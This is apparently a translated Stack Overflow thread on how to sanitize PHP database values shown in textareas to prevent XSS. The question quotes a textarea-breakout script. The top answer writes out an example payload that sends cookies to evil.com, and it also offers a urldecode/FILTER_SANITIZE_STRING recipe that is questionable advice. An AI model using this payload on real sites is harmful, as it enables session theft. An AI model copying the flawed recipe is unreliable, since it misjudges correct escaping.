1

如果要在 textareas 之类的输入中使用它们,那么从数据库(在 php 中)清理值的最佳方法是什么?

例如,在插入数据时,我可以去掉标签和引号并用 html 字符代码替换它们,然后在插入之前使用 mysql_real_escape_string。

检索该数据时,我需要它显示在文本区域中。我怎样才能做到这一点并且仍然避免 XSS?(例如,您可以轻松输入

</textarea><script type='text/javascript'> Malicious Code</script><textarea>

) 并导致问题。

谢谢!

4

3 回答 3

6

我想我更喜欢组合,filter_var如果url_decode你想使用纯简单的 php 解决方案

原因

想象一下这样的估算

$maliciousCode = "<script>document.write(\"<img src='http://evil.com/?cookies='\"+document.cookie+\"' style='display:none;' />\");</script> I love PHP";

如果我使用strip_tags

var_dump(strip_tags($maliciousCode));

输出

string 'document.write("' (length=16)

如果我使用htmlspecialchars

var_dump(htmlspecialchars($maliciousCode));

输出

string '&lt;script&gt;document.write(&quot;&lt;img src='http://evil.com/?cookies='&quot;+document.cookie+&quot;' style='display:none;' /&gt;&quot;);&lt;/script&gt; I love PHP' (length=166)

我的选择

function cleanData($str) {
    $str = urldecode ($str );
    $str = filter_var($str, FILTER_SANITIZE_STRING);
    $str = filter_var($str, FILTER_SANITIZE_SPECIAL_CHARS);
    return $str ;
}

$input = cleanData ( $maliciousCode );
var_dump($input);

输出

 string 'document.write(&#38;#34;&#38;#34;); I love PHP' (length=46)

如果使用表单GET而不是POST一些可以直到转义的表单,如果它是 url 编码的,那么您可以获得最少的信息并确保最终文本是无害的

也有足够的在线课程可以帮助您进行过滤查看

于 2012-04-22T19:12:44.513 回答
2

HTMLpurifier是一个很好的工具,可以清除不需要的 HTML,尤其是不需要的 JavaScript。还htmlspecialchars()建议使用它来输出用户提供的内容。

于 2012-04-22T17:52:55.613 回答
0

在我的联系表单上收到垃圾邮件发送者后,我扩展了清理文本框用户输入的功能。它现在还涵盖了多行文本区域输入

我需要格式化正常显示以及来自我的联系页面的 html 电子邮件。它还提供了我也使用的纯文本电子邮件格式的选项。

function clean_text($text, $html = true)
{ if($text == ""){return "";}
  $text = nl2br($text,false); // false gives <br>, true gives <br />
  $textary = explode("<br>",$text);
  foreach($textary as $key => $val)
  { $val = trim($val);
    $val = stripslashes($val);
    $val = htmlspecialchars($val);
    $textary[$key] = $val;
  }
  if ($html)
  { return implode("<br />",$textary);} //return implode("<br>",$textary);
  else
  { return implode("\r\n",$textary);}
}   

顺便说一句...感谢 SO 成员参与我的 PHP 学习。

http://www.microcal.ca/scripts/cleantext.php上的示例

于 2014-06-19T21:42:43.703 回答